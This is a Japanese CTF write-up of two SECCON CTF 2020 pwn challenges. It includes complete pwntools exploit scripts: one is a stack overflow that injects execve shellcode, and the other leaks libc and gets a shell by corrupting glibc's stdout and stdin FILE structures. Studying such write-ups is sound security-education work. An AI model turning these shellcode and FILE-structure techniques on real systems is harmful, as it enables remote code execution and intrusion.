イントロ Link to this heading

いつぞや開催された SECCON CTF 2020

開始3時間で悟ってしまい放棄してしまいましたが、pwn 問題は全部解いていくことにします。sandbox 問題は余力があったら全部解こうと思います。 本エントリでは、pwn の中で solve 数が多かった 2 問を取り上げます。 どうせこれを書き上げる頃には作問者様の writeup が出ていると思うので、本エントリでは速さではなく詳細な説明をする様に心がけようと思います。

pwarmup Link to this heading

静的解析 Link to this heading

.sh
1./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=02a44cf279881f5887ca24374b56d586be571c89, not stripped
2    RELRO:    No RELRO
3    Stack:    No canary found
4    NX:       NX disabled
5    PIE:      No PIE (0x400000)
6    RWX:      Has RWX segments

libc 配布なし。ソースコード配布。

Vulns / Attack Vector Link to this heading

scanf を用いているため、自明なスタックオーバーフローがある。 また、カナリアは居ないため SSP に殺されることもない。また、0x60000 領域が RWX になっているためここに RBP を移動させて再び main を実行することでシェルコードを注入することができる。 尚、一度目のmainstdout/stderr は close されているためシェルを取った後は exec 1>&0 で再び開く必要が有る。

Exploit Link to this heading

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "./chall"
 8LIBCNAME = ""
 9
10hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
11ports = (9001,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19
20## utilities #########################################
21
22def hoge():
23  global c
24  pass
25
26## exploit ###########################################
27
28def exploit():
29  global c
30  # pop: r13 rdi rsi r14 r15
31  main = 0x4006b7
32  pop_rdi = 0x4007e3
33  ret = 0x400566
34  shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
35  got = 0x600bd8
36
37  c.recvline()
38  pay = ""
39  pay += "A"*0x20
40  pay += p64(0x600000+0x40) # rbp
41
42  pay += p64(0x4006bf) #RA
43
44  c.sendline(pay)
45
46  # 2R
47  sleep(1)
48  pay = ""
49  pay += p64(0x600050) * (0x30//8)
50  pay += shellcode
51  c.sendline(pay)
52
53  c.sendline("exec 1>&0")
54  c.sendline("cat ./flag-e6951df0400add6a6b5be11f25b80cea.txt")
55
56
57## main ##############################################
58
59if __name__ == "__main__":
60    global c
61
62    if len(sys.argv)>1:
63      if sys.argv[1][0]=="d":
64        cmd = """
65          set follow-fork-mode parent
66        """
67        c = gdb.debug(FILENAME,cmd)
68      elif sys.argv[1][0]=="r":
69        c = remote(rhp1["host"],rhp1["port"])
70      elif sys.argv[1][0]=="v":
71        c = remote(rhp3["host"],rhp3["port"])
72    else:
73        c = remote(rhp2['host'],rhp2['port'])
74    exploit()
75    c.interactive()

lazynote Link to this heading

.sh
1./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1663726383f8586f276451381e6fbb6f3d2d675, not stripped
2    Arch:     amd64-64-little
3    RELRO:    Full RELRO
4    Stack:    Canary found
5    NX:       NX enabled
6    PIE:      PIE enabled

libc 2.27。 任意サイズの calloc を 4 回のみ行うことができる。edit/view/delete 等の機能は実装されていない。

Vulns Link to this heading

本プログラムでは、calloc するサイズ csize と読み込むデータサイズ rsize の 2 つをそれぞれ聞いてくる。rsize < csize の場合には csize=rsize に修正し、結局 csize だけ calloc することになる。 よって、rsize > csize にすることで直接的に任意の値をオーバーフローさせることはできない。

問題はその後で、readline でユーザからのデータを入力した後以下のように NULL 終端させている:

inappropriate NULL termination

inappropriate NULL termination

まずそもそもに、readline の内部で呼ばれている fgets はそれ自体で NULL 終端してくれるため呼び出し側が NULL 終端させる必要はない。

_IO_fgets @ iofgets.c

_IO_fgets @ iofgets.c

案の定、rsize > csize の場合には確保したバッファを超えて NULL クリアすることになってしまう。 というわけで、今回の attack vector は 1byte relative NULL clear x 4 のみということになる。

libcbase leak Link to this heading

持っている vector が relative であるために、バッファは libcbase とのオフセットが既知である場所に取られていなければならない。 幸いにも本プログラムでは任意サイズの calloc ができる。よって、system_mem よりも大きいサイズ(>0x21000)を calloc してやれば mmap してくれる。

threshold for mmap

threshold for mmap

mmap によって確保される領域は libcbase とのオフセットが固定であるため、前述の NULL clear によって任意の libc symbol を NULL clear することができる:

In this case, the offset is 0xc3000 (0x7fd3102ee000-0x7fd31022b000)

In this case, the offset is 0xc3000 (0x7fd3102ee000-0x7fd31022b000)

まずは libcbase leak をすることにする。 基本的な方針は 2018 年の HITCON の問題と同じで(以下のエントリで述べられている) FILE structure exploit である。

詳しくは上のエントリを参照されたいとだけ言ってスキップしてしまってもいいが、 自分自身よく FILE exploit を理解していない感じがあったので、コードベースで丁寧に方針をおさらいしていくことにする。

puts によって libc symbol を leak させたいため、まずはこいつから考えよう。 putsstdout の関数テーブルである _IO_file_jmps を参照して _IO_new_file_xsputn を呼ぶ。 そして以下のようにして _IO_OVERFLOW を呼ぶ。引数 fstdout である:

_IO_new_file_xsputn @ fileops.c

_IO_new_file_xsputn @ fileops.c

ここで第 2 引数 chEOF を渡しているため、内部では do_new_write が呼ばれる。 この際の引数に注目すると、stdout->_IO_write_base から stdout->_IO_write_ptr - stdout->_IO_write_base byte 分だけ出力するようになることが分かる:

_IO_new_file_overflow @ fileops.c

_IO_new_file_overflow @ fileops.c

この後は引数をほぼそのままに write を呼ぶだけである。

さて、それでは puts を呼んだ際の stdout->_IO_write_base がどうなっているかを見てみると、以下のようになっている:

stdout when puts

stdout when puts

おおよそ stdout の内部を指していることが分かる。 この時、_IO_write_base の LSB を NULL clear すると _IO_write_basestdout 自身を指すことになる。 即ち、上で見た do_new_write 内部の write において stdout 自身の値を出力させることができるようになる。 出力サイズ自体は write_ptrwrite_base の差を取って計算されるが、write_base を小さく書き換えているため十分である。

それでは早速相対書き換えによって stdout->_IO_write_base を書き換えて leak をしようと思って試してみても、何も出力はされないだろう。というのも、do_new_write の内部において、以下のようなチェックが有る:

new_do_write @ fileops.c

new_do_write @ fileops.c

_IO_read_end_IO_write_base が等しくない場合には lseek64 を呼び出している。 ここで _IO_write_base を NULL clear した状態のstdoutは以下のようになっている。

stdout after NULL clear

stdout after NULL clear

確かに read_endwrite_base が異なるために、lseek64 が呼ばれることになる。 だがこの lseek64 は不正呼び出しのために pos_BAD を返してくる。 そのため、即座に return 0 されて結局 puts は何もせずに終わることになる。leak なんてできやしない。

さて、対策としては単純に上の条件分岐を false にするため _IO_read_end も事前に NULL clear してやればいい。 但しその場合には、_IO_write_end も書き換えるまで出力が一切されなくなることに注意。 上記の方針で read_endwrite_base を書き換えると以下のようにstdoutが出力されるため、libcbase が leak できたことになる:

libcbase leak

libcbase leak

Limited arbitrary write into stdin Link to this heading

続いて stdin を壊していくことにする。 _IO_fgets は内部的には _IO_getline を呼び、更にすぐ _IO_getline_info を呼ぶことになる。 その中で、stdout->_IO_read_end - fp->_IO_read_ptr < 0 ならば __uflow を呼ぶ。

_IO_getline_info @ iogetline.c

_IO_getline_info @ iogetline.c

この __uflow は内部的に stdin のジャンプテーブルである _IO_file_jmps を参照し、_IO_new_file_underflow を呼ぶ。こいつは普通の条件の場合には read を呼ぶことになる。その際の引数は以下のようにして決定される:

_IO_new_file_underflow @ fileops.c

_IO_new_file_underflow @ fileops.c

やはり先程の do_new_write の場合と同様に、stdin->_IO_buf_base に対して read を行っている。 よって、stdin->_IO_buf_base を NULL clear してstdinを指すようにしてやることで、stdin に対して任意の値を書き込んでやることができる。

あとは stdin を適当に forge してやれば終わりか?というとそうではない。 read の第 3 引数は _IO_buf_end - _IO_buf_base になっており、これは NULL clear によって生じた差の分だけしかない。 今回の場合は 0x84 byte のみである。これは stdin を forge するには若干足りない。 しかも、ここまでで既に 3 回 calloc しているため、残り一回しか読み込みを行うことはできない。

対処法としてはシンプルで、まずは stdin の前半にある _IO_buf_end を任意の大きい値に書き換えてあげればいいだけである。そうすれば、次の read では更に大きい値分だけ読み込むことができる。 残り一回しか読み込めないんじゃなかったんかとブチ切れて発狂しだす輩もいるかもしれないが、大丈夫。もう一度 _IO_getline_info を見返してみよう。

_IO_getline_info @ iogetline.c

_IO_getline_info @ iogetline.c

この while ループ及び内部の __uflow は、read_end < read_ptr である限り行われる。 従って、1 回目の __uflow において stdin の前半に有る read_end / buf_base / buf_end を書き換えた後、2 回目の __uflow において好きなだけ stdin を forge してしまえばよい。 以上の方針で 1 回目の __uflow を終えた後の stdin は以下のようになっている:

stdin after partial overwrite

stdin after partial overwrite

read_basestdinを指しており、buf_end - buf_baseは十分な大きさを持っているため、 stdin 全体を forge することができるようになった。 なお、こいつら以外を overwrite する値は何でも良いが、read_endread_ptr よりも小さくなっている必要が有る。

Forge stdin via unimited arbitrary write into stdin Link to this heading

あとは、最近の zer0pts CTF とか他諸々の CTF でも大量に出ている方針と同じ方針でいける:

尚、今回は onegadget は全て使えない。よって、_IO_str_overflow 内部での call において RDI には new_buf として 2 * (_IO_buf_end - _IO_buf_base) + 0x64 が入ることを利用して、任意の値が入れられる:

_IO_str_overflow @ strops.c

_IO_str_overflow @ strops.c

Exploit Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./chall"
  8LIBCNAME = "./libc-2.27.so"
  9
 10hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
 11ports = (9003,12300,23947)
 12rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 13rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 14rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 15context(os='linux',arch='amd64')
 16binf = ELF(FILENAME)
 17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 18
 19
 20## utilities #########################################
 21
 22note =" "
 23enpitu = "✏️ "
 24trash = "🗑️ "
 25eye = "👀"
 26
 27def hoge(ix):
 28  global c
 29  c.recvuntil(">")
 30  c.sendline(str(ix))
 31
 32def a(csize, rsize, data, ret=False):
 33  if ret:
 34    c.sendline(str(1))
 35    c.sendline(str(csize))
 36    c.sendline(str(rsize))
 37    c.sendline(data)
 38    return
 39  hoge(1)
 40  c.recvuntil("alloc size: ")
 41  c.sendline(str(csize))
 42  c.recvuntil("read size: ")
 43  c.sendline(str(rsize))
 44  c.recvuntil("data: ")
 45  c.sendline(data)
 46
 47## exploit ###########################################
 48
 49
 50def exploit():
 51  global c
 52  big_size = 0x40300
 53  mmap_dif = 0x1f7760
 54
 55  if False: # my libc
 56    a(big_size, mmap_dif+0x11-0x10, "A"*0x10) # read_end
 57    a(big_size, big_size+0x10+0xcd0+0x20 + mmap_dif + 0x11, "A"*0x10, True)
 58    libc_dif = 0x1b85b0
 59  else:
 60    mmap_dif += 0x235ff0+0x10
 61    a(big_size, mmap_dif+0x1,  "A"*0x10)
 62    a(big_size, big_size + mmap_dif+0xcd0+0x1+0x40,  "A"*0x10, ret=True)
 63    libc_dif = 0x1b85b0 + 0x235300
 64
 65  libcbase = unpack(c.recvuntil(p8(0x7f))[-6:].ljust(8,'\x00')) - libc_dif
 66  print("[+] libcbase: "+hex(libcbase))
 67
 68  # make stdin->buf_end into stdin itself
 69  if False: # mylibc
 70    a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end
 71  else:
 72    a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end
 73
 74  # forge fake stdin
 75  stdin = libcbase + libc.symbols["_IO_2_1_stdin_"]
 76  pay2 = b""
 77  pay2 += p64(0) # flag
 78  pay2 += p64(stdin) # read_ptr
 79
 80  pay2 += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
 81  pay2 += p64(stdin) # read_base
 82  pay2 += p64(stdin) # write_base
 83
 84  pay2 += p64((libcbase+0x1b40fa-0x64)//2) # write_ptr binsh
 85  pay2 += p64(stdin) # write_end
 86
 87  pay2 += p64(0) # buf_base
 88  pay2 += p64((libcbase+0x1b40fa-0x64)//2) # buf_end
 89  pay2 += p64(0)*0x12
 90  pay2 += p64(libcbase + libc.symbols["_IO_file_jumps"]+0xc0 - 0x10) # _IO_str_jmps
 91  pay2 += p64(libcbase + libc.symbols["system"]) # system
 92  pay2 = pay2.ljust(0x100,'\x00')
 93
 94
 95  pay = b""
 96  pay += p64(0xfbad208b) # flag
 97  pay += p64(stdin) # read_ptr
 98
 99  pay += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
100  pay += p64(stdin) # read_base
101  pay += p64(stdin) # write_base
102  pay += p64(stdin) # write_ptr
103  pay += p64(stdin) # write_end
104
105  pay += p64(stdin) # buf_base
106  pay += p64(stdin+len(pay2)) # buf_end
107  pay = pay.ljust(0x84,'\x00')
108  pay += pay2
109  c.sendline(pay)
110
111
112## main ##############################################
113
114if __name__ == "__main__":
115    global c
116
117    if len(sys.argv)>1:
118      if sys.argv[1][0]=="d":
119        cmd = """
120          set follow-fork-mode parent
121        """
122        c = gdb.debug(FILENAME,cmd)
123      elif sys.argv[1][0]=="r":
124        c = remote(rhp1["host"],rhp1["port"])
125      elif sys.argv[1][0]=="v":
126        c = remote(rhp3["host"],rhp3["port"])
127    else:
128        c = remote(rhp2['host'],rhp2['port'])
129    exploit()
130    c.interactive()

アウトロ Link to this heading

トイレの水が止まらなくなって泣いています。

次回は kstack やろうかな。